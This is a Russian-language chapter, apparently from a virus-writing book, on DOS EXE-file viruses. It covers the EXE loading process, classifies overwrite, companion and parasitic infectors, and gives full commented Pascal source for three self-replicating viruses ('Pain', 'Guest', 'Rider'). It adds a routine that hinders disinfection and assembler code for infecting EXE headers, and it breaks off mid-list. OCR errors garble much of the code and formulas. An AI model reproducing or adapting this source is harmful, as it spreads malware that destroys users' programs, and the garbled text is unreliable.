Exe-вирусы

ЕХЕ-ВИРУСЫ

В этой главе рассказано о ви – русах, заражающих ЕХЕ-фай – лы. Приведена классифика – ция таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними, достоинства и недо – статки. Для каждого типа вирусов представлены исход – ные тексты с подробными комментариями. Также приве – . дены основные сведения о структуре и принципах ра – боты ЕХЕ-программы.

СОМ-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пуга – ющие своими размерами ЕХЕ-“монстры”. Появились и вирусы, умею – щие заражать ЕХЕ-файлы.

Структура и процесс загрузки ЕХЕ-программы

В отличие от СОМ-программ, ЕХЕ-программы могут состоять из не – скольких сегментов (кодов, данных, стека). Они могут занимать боль – ше 64Кбайт.

ЕХЕ-файл имеет заголовок, который используется при его загрузке. Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для на – стройки адресов (Relocation Table). Таблица состоит из значений в фор – мате сегмент:смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память дол – жен быть прибавлен сегментный адрес, с которого загружена программа.

При запуске ЕХЕ-программы системным загрузчиком (вызовом функ – ции DOS 4Bh) выполняются следующие действия:

1. Определяется сегментный адрес свободного участка памяти, размер которого достаточен для размещения программы.

2. Создается и заполняется блок памяти для переменных среды.

3. Создается блок памяти для PSP и программы (сегментЮОООЬ – PSP;

Сегмент+ООЮЬЮОООЬ – программа). В поля PSP заносятся соответ – ствующие значения.

4. Адрес DTA устанавливается равным PSP:0080h.

5. В рабочую область загрузчика считывается форматированная часть заголовка ЕХЕ-файла.

6. Вычисляется длина загрузочного модуля по формуле:

Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa! tP3ig.

7. Определяется смещение загрузочного модуля в файле, равное HdrSize*16.

8. Вычисляется сегментный адрес (START_SEG) для загрузки – обычно это PSP+lOh.

9. Считывается в память загрузочный модуль (начиная с адреса START_SEG:0000).

10. Для каждого входа таблицы настройки:

A) читаются слова I_OFF и I_SEG;

B) вычисляется RELC^SEG-START^SEG+LSEG;

C) читается слово по адресу RELO_SEG:I_OFF;

D) к прочитанному слову прибавляется START_SEG;

E) результат запоминается по тому же адресу (RELO_SEG:I_OFF).

11. Распределяется память для программы в соответствии с МахМет и МтМет.

12. Инициализируются регистры, выполняется программа:

A) ES=DS°PSP;

B) АХ=результат проверки правильности идентификаторов драйве – ров, указанных в командной строке;

C) SS°START_SEG+ReloSS, SP-ExeSP;

D) CS=START_SEG+ReloCS, IP=ExeIP.

Классификация ЕХЕ-вирусов

ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма.

Вирусы, замещающие программный код (Overwrite)

Такие вирусы уже стали раритетом. Главный их недостаток – слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найден – ный файл для редактирования и записывает свое тело в начало про – граммы, не сохраняя оригинальный код. Инфицированные этими виру – сами программы лечению не подлежат.

Вирусы-спутники (Companion)

Эти вирусы получили свое название из-за алгоритма размножения:

К каждому инфицированному файлу создается файл-спутник. Рассмот – рим более подробно два типа вирусов этой группы:

Вирусы первого типа размножается следующим образом. Для каждого ин – фицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным

Кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением СОМ. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ. Если СОМ-файл с та – ким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет за – пустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус, код которого находится в СОМ-файле. Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем исполняет ЕХЕ-файл с указанным в командной строке именем. Поль – зователь же думает, что работает только запущенная ЕХЕ-программа. Вирус-спутник обезвредить довольно просто – достаточно удалить СОМ-файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого ЕХЕ-файла остается прежним, а расширение заменяется каким-либо другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например, файл может получить расширение DAT (файл данных) или OVL (про – граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный код. При запуске такой инфицированной программы управление полу – чает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает ориги – нальному файлу исполняемое расширение (но не ЕХЕ, а СОМ, по – скольку ЕХЕ-файл с таким именем занят вирусом), после чего испол – няет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лече – ние файлов, зараженных вирусом этого типа, может быть затруднено, если вирус-спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает.

Вирусы, внедряющиеся в программу (Parasitic)

Вирусы этого вида самые незаметные: их код записывается в инфици – руемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.

Способы заражения ЕХЕ-файлов

Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохране – нием оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение СОМ-файлов, но вмес – то задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибав – ляет к его сегментной компоненте значение регистра DS или ES (полу – ченное при старте вируса) и передает управление на полученный адрес.

Следующий способ – внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него – код инфицируемой программы. Таким образом, код программы как бы “сдвигается” в файле на длину кода вируса. Отсюда и название способа – “способ сдвига”. При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (СОМ или ЕХЕ), и затем исполняет этот файл. Когда программа закончила рабо – ту, временный файл удаляется. Если при создании вируса не применя – лось дополнительных приемов защиты, то вылечить инфицированный файл очень просто – достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой про – граммы (а ведь бывают экземпляры размером больше 1Мбайт).

Следующий способ заражения файлов – метод переноса – по всей ви – димости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной про – граммы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда на – звание метода – “метод переноса”. После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицирован – ной программы, сохраненное в конце файла, и записывает его в начало

Файла, восстанавливая работоспособность программы. Затем вирус уда – ляет код начала программы из конца файла, восстанавливая оригиналь – ную длину файла, и исполняет программу. После завершения програм – мы вирус вновь записывает свой код в начало файла, а оригинальное начало программы – в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, каки до инфицирования.

Вирусы, замещающие программный код (Overwrite)

Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появ – ляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На дан – ный момент самый маленький из известных overwrite-вирусов написан Reminder’ом (Death Virii Crew group) и занимает 22 байта.

Алгоритм работы overwrite-вируса следующий:

1. Открыть файл, из которого вирус получил управление.

2. Считать в буфер код вируса.

3. Закрыть файл.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса.

10. Закрыть файл (по желанию можно заразить от одного до всех фай – лов в каталоге или на диске).

11. Выдать на экран какое-либо сообщение об ошибке, например “Abnormal program termination” или “Not enough memory”, – пусть пользователь не слишком удивляется тому, что программа не запу – стилась.

12. Завершить программу.

Ниже приведен листинг программы, заражающей файлы таким способом.

{$М 2048, 0, 0}

{$А-}

{$В-}

{$D-}

{$Е+}

($F-)

($G-}

($!-}

{$L-}

{$N-}

{$S-} /

{$V-}

{$X+}

{Используются модули DOS и System (модуль System автоматически

Подключается к каждой программе при компиляции)} Uses DOS;

Const

(Имя вируса} VirName=’Pain’;

{Строка для проверки на повторное заражение.

Она дописывается в заражаемый файл сразу после кода вируса}

VirLabel: String[5]=’Pain!1;

{Длина получаемого при компиляции ЕХЕ-файла} VirLen=4208;

Author=’Dirty Nazi/SGWW.’;

{Количество заражаемых за один сеанс работы файлов} lnfCount=2;

Var

{Массив для определения наличия копии вируса в найденном файле} Virldentifier: Array [1.5] of Char;

{Файловая переменная для работы с файлами} VirBody: File;

(Еще одна файловая переменная – хотя без нее можно было обойтись, так будет понятнее) Target: File;

{Для имени найденного файла) TargetFile: PathStr;

(Буфер для тела вируса) VirBuf : Array [-I. VirLen] of Char;

(Для даты/времени файла) Time : Longint;

(Счетчик количества инфицированных файлов) InfFiles : Byte;

Dirlnfo : SearchRec;

LabelBuf : Array [1.5] of Char;

(Инициализация) procedure Init;

Begin LabelBuf [1]:=VirLabel[1];

LabelBuf[2]:=VirLabel[2];

LabelBuf[3]:=VirLabel[3], LabelBuf[4]:=VirLabel[4];

LabelBuf[5]:=VirLabel[5];

(Обнуляем счетчик количества инфицированных файлов} lnfFiles:=0;

(Связываем файловую переменную VirBody с именем программы. из которой стартовали) Assign(VirBody, ParamStr(O));

(Открываем файл с recsize=1 байту) Reset(VirBody, 1);

(Считываем из файла тело вируса в массив VirBuf} BlockRead(VirBody VirBuf, VirLen);

(Закрываем файл) Close(VirBody);

End;

(Поиск жертвы} procedure FindTarget;

Var Sr: SearchRec;

(Функция возвращает True, если найденная

Программа уже заражена, и False, если еще нет} function VirusPresent: Boolean;

Begin

(Пока будем считать, что вируса нет} VirusPresent:=False;

(Открываем найденный файл} Assign(Target, TargetFile);

Reset(Target, 1);

(Перемещаемся на длину тела вируса от начала файла} Seek(Target, VirLen);

(Считываем 5 байт – если файл уже заражен, там находится метка вируса} BlockRead(Target, Virldentifier, 5);

If Virldentifier=Virl_abel Then

{Если метка есть, значит есть и вирус} VirusPresent:=True;

End;

(Процедура заражения} procedure InfectFile;

Begin

{Если размер найденного файла меньше, чем длина вируса плюс 100 байт, то выходим из процедуры} If Sr. Size < VirLen+100 Then Exit;

{Если найденная программа еще не заражена, инфицируем ее} If Not VirusPresent Then begin

{Запомним дату и время файла. Атрибуты запоминать не надо, так как поиск ведется среди файлов с атрибутом Archive, а этот атрибут устанавливается на файл после сохранения в любом случае} Time:=Sr. Time;

{Открываем для заражения} Assign(Target, TargetFile);

Reset(Target, 1);

{Записывам тело вируса в начало файла} BlockWrite(Target, VirBuf, VirLen);

{Перемещаем указатель текущей позиции на длину вируса от начала файла} Seek(Target, VirLen);

{Вписываем метку заражения} BlockWrite(Target, LabelBuf, 5);

{Устанавливаем дату и время файла} SetFTime(Target, Time);

{Закрываем} Close(Target);

{Увеличиваем счетчик инфицированных файлов} Inc(lnfFiles);

End;

End;

{Начало процедуры FindTarget} begin

{Ищем в текущем каталоге файлы по маске *.ЕХЕ с атрибутами Archive} FindFirstF. EXE’, Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

Begin

If Sr. Name=” Then Exit;

(Запоминаем имя найденного файла в переменную TargetFile} TargetFile:=Sr. Name;

{Вызываем процедуру заражения} InfectFile;

{Если заразили InfCount файлов, завершаем поиск} If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске} FindNext(Sr);

End;

End;

{Основное тело} begin

(Инициализируемся} hit;

{Ищем жертвы и заражаем их} FindTarget;

{Выдаем на экран сообщение об ошибке} WriteLn(‘Abnormal program termination.’);

{Это чтобы компилятор вставил в код константы VirName и Author, условие же поставлено таким образом, что эти строки никогда не будут выведены на экран} If 2=3 Then begin WriteLn(VirName);

WriteLn(Author);

End;

End.

Вирусы-спутники (Companion)

Вирусы-спутники сейчас широко распространены – соотношение companion и parasitic вирусов примерно один к двум.

Инфицирование методом создания СОМ-файла спутника

Смысл этого метода – не трогая “чужого кота” (ЕХЕ-программу), со – здать “своего” – СОМ-файл с именем ЕХЕ-программы. Алгоритм рабо – ты такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпи – лированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Неза – чем даже хранить метку для определения инфицирования файла.

Заражение производится с помощью командного процессора:

1. Если в командной строке указаны параметры, сохранить их в пере – менную типа String для передачи инфицированной программе.

2. Найти ЕХЕ-файл-жертву.

3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай – лом СОМ-файл с таким же именем, как у файла-жертвы.

4. Если такой СОМ-файл присутствует, файл уже заражен, переходим к пункту 6.

5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением СОМ.

6. Процедурой Ехес загрузить и выполнить файл с именем стартового, но с расширением ЕХЕ – то есть выполнить инфицированную программу.

7. Вернуть управление в DOS.

Приведенный ниже листинг показывает заражение файлов этим методом.

($М 2048, 0, 0} f$A-} <$В-” ($D-} <$Е+1 {$F-} {$G-}

{$!-}

F$L-( {$N-) {$S-} <$V-} {$X+}

(Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)} Uses DOS;

Const

{Имя вируса) VirName=’Guesf;

Author=’Dirty Nazi/SGWW. 4 PVT only!’;

{Количество зараженных за один сеанс работы файлов} lnfCount=2;

Var

{Для имени найденного файла) TargetFile : PathStr;

{Для создания копии} TargetCOM : PathStr;

(Счетчик количества заражений} InfFiles : Byte;

Dirlnfo : SearchRec;

{Для сохранения параметров командной строки} Parms : String;

(Для цикла For} I: Byte;

(Поиск жертв} procedure FindTarget;

Var Sr : SearchRec;

{Функция возвращает True, если найденная программа уже заражена, и False, если еще нет} function VirusPresent: Boolean;

Var

Target : File;

Begin

{Пока будем считать, что вируса здесь нет} VirusPresent:=False;

{Пытаемся открыть файл с именем найденной программы, но с расширением СОМ} AssignHarget, TargetCOM);

ResetHarget, 1);

{Если не было ошибок при открытии, программа уже инфицирована этим вирусом} If IOResult=0 Then begin VirusPresent:=True;

{Открыли – закроем} Close(Target);

End;

End;

{Собственно процедура заражения} procedure InfectFile;

Begin

{Если найденная программа еще не заражена, инфицируем ее} If Not VirusPresent Then begin

{С помощью командного процессора копируем вирусный код в СОМ-файл} Swap Vectors;

Exec(GetEnv(‘COMSPEC’),7C COPY /B ‘+ParamStr(0)+’ ‘+TargetCOM+’ >NUL’);

Swap Vectors;

(Увеличиваем на единицу счетчик инфицированных файлов} Inc(lnfFiles);

End;

End;

Begin {начало процедуры FindTarget}

(Ищем в текущем каталоге файлы по маске *.ЕХЕ с атрибутами Archive} FindFirstF. EXE’, Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

Begin

If Sr. Name=” Then Exit;

{Запоминаем имя найденного файла в переменную TargetFile} TargetFile:=Sr. Name;

TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+’.COM’;

{Вызываем процедуру заражения} InfectFile;

{Если заразили InfCount файлов, завершаем поиск} If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске} FindNext(Sr);

End;

End;

{Основное тело} begin Parms:=’ ‘;

{Запоминаем параметры командной строки} If ParamCount <> 0 Then For l:=1 To ParamCount Do Parms:=Parms+’ ‘+ParamStr(l);

{Ищем жертвы и заражаем их} FindTarget;

TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+’.EXE’;

(Ищем файл с именем стартового файла, но с расширением ЕХЕ} FindFirst(TargetFile, AnyRle, Dirlnfo);

{Если такой файл найден, запускаем его на выполнение) If DosError=0 Then begin Swap Vectors;

Exec(GetEnv(‘COMSPEC’),7C ‘+TargetFile+Parms);

Swap Vectors;

End Else

{Если файл не найден, выходим, не внося в программу изменений) begin WriteLn(#13#10, VirName, ‘ by ‘.Author);

WriteLnCKaKoe-нибудь сообщение’);

End;

End.

Инфицирование методом переименования ЕХЕ-файла

Отличий в алгоритмах работы этих вирусов и их “коллег”, создающих файл-спутник, не так уж много. Но, по всей видимости, заражение ме – тодом переименования несколько совершеннее – для излечения от ви – руса нужно не просто удалить СОМ-файл с кодом вируса, а немного помучаться и разыскать, во что же переименован ЕХЕ-файл с инфици – рованной программой.

1. Если в командной строке указаны параметры, сохранить их в пере – менную типа String для передачи инфицированной программе.

2. Найти ЕХЕ-файл-жертву.

3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай – лом-жертвой файл с таким же именем и с расширением, которое выбрано для инфицированной программы (например, OVL – про – граммный оверлей).

4. Если такой файл присутствует, программа уже инфицирована – пе – реходим к пункту 7.

5. Переименовать найденный файл-жертву (ЕХЕ) в файл с таким же име – нем, но с расширением, выбранным для инфицированной программы.

6. С помощью командного процессора скопировать файл, из которого по – лучено управление, в файл с именем жертвы и расширением жертвы.

7. Найти в каталоге, из которого получено управление, файл с именем стартовой программы, но с расширением, выбранным для инфици – рованной – это и будет зараженная программа, которую в данный момент необходимо запустить на исполнение.

8. Если такой файл не найден, переходим к пункту 12.

9. Изменить расширение найденного файла на СОМ (ни в коем случае не на ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код!).

10. Процедурой Ехес загрузить и выполнить переименованный файл – то есть выполнить инфицированную программу.

11. Вернуть СОМ-файлу с инфицированной программой выбранное расширение, то есть превратить его опять в неисполняемый.

12. Вернуть управление в DOS.

Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider написан очень просто и доступно. За сеанс работы он заражает один ЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьма прост: файл-жертва переписывается в файл с расширением OVL (овер – лейный файл), а на его место с помощью командного процессора копи – руется вирусный код. При запуске происходит заражение только что найденного ЕХЕ-файла, затем вирусный код переименовывается в OWL, a OVL – в ЕХЕ, после чего оригинал запускается на исполне – ние. Когда оригинал отработал, происходит переименование в обратном порядке. С защищенного от записи диска программа не запустится, она выдаст сообщение, что диск защищен от записи.

В представленном здесь виде вирус легко обезвредить, достаточно про – сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле – чение, в вирусе может быть использован такой прием:

Procedure MakeNot;

Var

Buf10: Array [1.10] of Byte;

Cicle: Byte;

Begin Seek(Prog, 0);

Reset(Prog);

BlockRead(Prog, Buf10, 10);

For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];

Seek(Prog, 0);

BlockWrite(Prog, Buf10, 10);

Close(Prog);

End;

При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с пере – менной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и ко – дируются операцией Not. ЕХЕ-программа становится неработоспособ – ной. Запускать эту процедуру нужно не только перед прогоном ориги – нала, но и после него.

{ Name Rider }

{ Version 1.0 }

{ Stealth No }

{ Tsr No }

{ Danger 0 }

{ Attac speed Slow }

{ Effects No }

{ Length 4000 }

{ Language Pascal }

{ BodyStatus Packed }

{ Packer Pklite }

($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob, High Heap Limit Ob }

{Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)} Uses DOS;

Const Fail=’Cannot execute ‘^13#10’Disk is write-protected’;

{Расширения файлов, которые будем использовать} Ovr=’.OWL’;

Ovl=’.OVL’;

Ехе=.ЕХЕ’;

Var Dirlnfo : SearchRec;

Sr : SearchRec;

Ch : Char;

I : Byte;

OurName : PathStr;

OurProg : PathStr;

Ren : File;

CmdLine : ComStr;

Victim : PathStr;

VictimName : PathStr;

(Процедура для проверки диска на Read Only) procedure CheckRO;

Begin Assign(Ren, #$FF);

ReWrite(Ren);

Erase(Ren);

If lOResult <> 0 Then

{Если диск защищен от записи, то ответ ‘Access denied’}

Begin

WriteLn(Fail);

Halt(5);

End;

End;

(Процедура прогонки оригинала} procedure ExecReal;

Begin

{Находим оригинал} FindFirst(OurName+Ovl, AnyFile, Dirlnfo);

If DosError <> 0 Then

(Если не нашли}

Begin

WriteLn(‘Virus RIDER. Let’s go on riding!’);

WriteLn(‘l beg your pardon, your infected file cannot be executed.’);

(Выход с DosError=<t>ann не найден) Halt(18);

End;

{Переименовываем программу в OVL} Assign(Ren, OurName+Exe);

ReName(Ren, OurName+Ovr);

{Переименовываем оверлей в ЕХЕ} Assign(Ren, OurName+Ovl);

ReName(Ren, OurName+Exe);

(И запускаем его} Swap Vectors;

Exec(GetEnv(‘COMSPEC’), 7C ‘+OurName+Exe+CmdLine);

Swap Vectors;

{А теперь возвращаем все на место) Assign(Ren, OurName+Exe);

ReName(Ren, OurName+Ovl);

Assign(Ren, OurName+Ovr);

ReName(Ren, OurName+Exe);

End;

(Процедура заражения} procedure Infect;

Begin

{Переименовываем жертву в OVL} Assign(Ren, Victim);

ReName(Ren, VictimName+Ovl);

{Копируем тело вируса на место жертвы} SwapVectors;

Exec(GetEnv(‘COMSPEC’), ‘/С COPY ‘+OurProg+’ ‘+Victim+’ >NUL’);

SwapVectors;

End;

{Процедура поиска жертвы} procedure FindFile;

Begin

{В текущем каталоге ищем ЕХЕ-файл} FindFirst(‘*EXE’, AnyFile, Dirlnfo);

If DosError=0 Then

{И если он найден} begin

{Запоминаем имя жертвы} Victim:=Dirlnfo. Name;

{Запоминаем имя без расширения} VictimName:=Copy(Victim, 1, Length(Victim)-4);

{Ищем оверлей с тем же именем} FindFirst(VictimName+Ovl, AnyFile, Sr);

If DosError <> 0 Then Infect;

End;

End;

{Процедура инициализации переменных} procedure I nit;

Begin

(Командная строка} CmdLine:=”;

{Полное имя нашей программы} OurProg:=ParamStr(0);

{Имя нашей программы без расширения} OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))-4);

For l:=1 To ParamCount Do begin

{Запоминаем параметры} CmdLine:=ParamStr(l)+’ ‘;

End;

End;

{Основная подпрограмма} begin

{А эту табличку запишем в код для тех,

Кто распакует вирус и начнет в нем копаться}

If False Then

Begin

WriteLn(#13#10 ‘ ‘);

End;

{Инициализируемся} Init;

(Проверка диска на R/О} CheckRO;

{Ищем и заражаем} FindFile;

{Загружаем оверлей} ExecReal;

End.

Вирусы, внедряющиеся в программу (Parasitic)

Эти вирусы являются самыми “хитрыми”. Поскольку такой вирус вне – дряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лиш – ние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.

Стандартное заражение ЕХЕ-файлов

Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла уп – равление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного СОМ-вируса. Чтобы выяснить способы работы с ЕХЕ-файлами, рассмотрим следующий фрагмент про – граммы:

;Читаем заголовок ЕХЕ-файла (точнее, только первые 18h байт, ;которых вполне достаточно)

ReadHeader:

Mov ah,3Fh

Mov dx, offset EXEHeader mov cx,0018h int 21 h

Останавливаем в SI адрес считанного заголовка. В дальнейшем ;будем обращаться к заголовку, используя Sl+смещение элемента mov si, offset EXEHeader

[Получаем реальную длину файла, переместив указатель текущей ;позиции чтения/записи в конец файла GetRealFSize:

Mov ax,4202h

Mov bx. Handle

Xor ex, ex

Xor dx. dx

Int 21 h

;Сохраним полученную длину файла mov Reallen. dx mov Reallen+2,ax

;Так как речь идет о стандартной процедуре заражения, нужно ;помнить, что все вышесказанное не должно затрагивать оверлейные файлы. Их длина, указанная в заголовке, .-меньше реальной, то есть эти файлы загружаются ;в память не полностью.

Следовательно, если заразить такой файл, вирус попадет ;в незагружаемую часть. Сохраним в стеке реальную длину ЕХЕ-файла

Push dx

Push ax

Рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остаток CompareOVL

Mov cx,0200h

Div ex

;Ha данный момент в регистре АХ находится число страниц ;(в каждой странице содержится 512 байт), ;а в регистре DX – остаток, образующий

;еще одну (неучтенную) страницу. .Добавим эту страницу к общему числу страниц – ;если остаток не равен нулю, то. увеличим число страниц

Or dx. dx

Jz m1

Inc ax m1:

.Будем считать пригодным для заражения. стандартным способом файлы с длиной, ;полностью совпадающей с указанной в заголовке

Cmp ax,[si+PartPag]

Jne ExitProc

Cmp dx,[si+PageCnt]

Jne ExitProc

;Чтобы вирус смог вернуть управление ;зараженной программе, сохраним поля ReloSS, ;ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла. .Значения констант, используемых в программе, .равны смещению соответствующего ;элемента в заголовке ЕХЕ-файла (Приложение А) InitRetVars:

Mov ax,[si+ReloSS]

Mov oldss. ax

Mov ax,[si+ExeSP]

Mov oldsp. ax

Mov ax,[si+ReloCS]

Mov oldcs. ax

Mov ax,[si+Exe! P]

Mov oldip. ax

.Восстановим из стека реальную длину файла ;В данном случае она совпадает с длиной, указанной в заголовке

Pop ax

Pop dx

.Рассчитаем длину программы с вирусом, для чего прибавим ;к длине файла длину тела вируса

Add ax, VIRSIZE ;VIRSIZE – длина тела вируса

Adc dx.0

Рассчитаем получившуюся длину (одна страница – 512 байт) ;и остаток в последней странице (так же, ;как рассчитывали длину файла без вируса)

Mov cx,0200h

Div ex

Or dx. dx

Jz newJen

Inc ax NewJen:

;Внесем в заголовок новую длину файла mov [si+PageCnt],ax mov [si+PartPag],dx

;Прочитаем реальную длину файла. ;По ней будем рассчитывать новую ;точку входа в программу (адрес запуска) Eval_new_entry:

Mov dx. Reallen+2

Mov ax. Reallen

; Рассчитаем новую точку входа.

.Точка входа в вирус должна находиться

;в начале его тела. Другими словами, нужно к длине файла

.прибавить смещение точки входа.

;Разделим длину на размер параграфа (10h)

Mov cx,10h

Div ex

Получили число параграфов (AX) и остаток (DX – смещение ;вируса в последнем параграфе). ;0тнимем от числа параграфов в файле число. параграфов в заголовке – получим сегмент входа в ЕХЕ-файл sub ax,[si+HdrSize]

;3апишем новую точку входа в заголовок mov [si+ReloCS],ax mov [si+ExelP],dx

.Замечание: можно было округлить полученное число, ;и вирус начинался бы с OOOOh. ;Но этого делать не стоит.

,-Естественно, все обращения к данным в этом вирусе

Должны быть нефиксированными, как и в любом другом вирусе.

;Вместо “mov ax, ANYDATA” придется делать так:

; mov si. VIRSTART

; mov ax,[si+offset ANYDATA]

;где offset ANYDATA – смещение относительно начала тела вируса

;Стек поставим за тело вируса – байт на ЮОп. Потом обязательно

;вернем, иначе можно стереть заготовленные в стеке значения!

.’Установим сегмент стека такой же, как и кода,

;а указатель на вершину стека –

;на 100h байт после тела вируса

Mov [si+ReloSSj. ax

Mov ax. VIRSIZE+IOOh

Mov [si+ExeSP],ax

;Теперь запишем заголовок в файл, не забыв и тело вируса. ; Рекомендуется писать сначала тело, а потом заголовок. ;Если тело вдруг не допишется, ;то файл испортим зря UpdateRle:

;3апишем тело вируса WriteBody:

.-Установим указатель чтения/записи в конец файла mov bx, Handle хог сх, сх xor dx. dx mov ax,4202h int 21 h

.Запишем тело вируса в файл mov ah,40h mov cx. VIRSIZE mov dx. offset VIRStart int 21h

;3апишем заголовок WriteHeader:

;Установим указатель чтения/записи в начало файла mov ax,4200h

Xor ex, ex

Xor dx. dx

Int 21 h

.Запишем заголовок в файл

Mov cx,0018h

Mov ah,40h

Mov dx. si

Int 21 h

Итак, вирус “поселился” в ЕХЕ-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процеду – ра выхода из вируса:

CureEXE:

StackBack:

-.Установим первоначальный указатель (сегмент и смещение) стека mov ax. ds

-.Прибавим ООЮп, после чего в АХ будет ;находится сегмент, с которого ;загружен программный модуль add ax,10h

Прибавим первоначальный сегмент стека

Db @add_ax ;код ADD AX, дальше по аналогии OldSS dw? ;это значение было установлено ;при заражении

;3апретим прерывания, так как со стеком нельзя работать, ;пока и сегмент, и смещение не установлены в нужное значение cli

-.Установим сегмент стека (PSP+Wh+OldSS) mov ss. ax

:Установим первоначальный указатель (смещение) стека

Db @mov_sp OldSP dw?

; Разрешим прерывания – опасный участок пройден sti

[Подготовим значения в стеке для команды IRET RetEntryPoint:

Pushf

Рассчитаем сегмент для кода по аналогии с сегментом стека

Mov ax. DATASEG

Add ax,10h

Db @add_ax OldCS dw?

;Сохраним в стеке полученное значение (PSP+Wh+OldCS) push ax

;Сохраним в стеке смещение исходной точки входа

Db @mov_ax OldIP dw?

Push ax

.Запустим программу. В стеке находятся смещение ;точки входа, сегмент точки входа и флаги iret

Внедрение способом сдвига

Инфицируемая программа размещается в файле после кода вируса, сдвигаясь на его длину, отсюда и название метода. Алгоритм работы вируса следующий:

1. Открыть файл, из которого получено управление.

2. Считать в буфер тело вируса.

3. Закрыть файл.

4. Найти файл-жертву (для данного типа вирусов лучше СОМ-файл, но можно и не слишком большой ЕХЕ – это связано с тем, что все тело инфицируемой программы считывается в память и ее может не хватить, если эта программа слишком большая).

5. Открыть файл-жертву.

6. Проверить файл на повторное заражение (здесь могут быть вариан – ты, но чаще всего используется сигнатура).

7. Если файл уже инфицирован, перейти к пункту 3.

8. Считать в буфер все тело программы.

9. Записать в начало файла тело вируса из буфера.

10. Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличивается на длину вируса.

11. Закрыть файл-жертву.

12. Открыть файл, из которого стартовали.

13. Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.

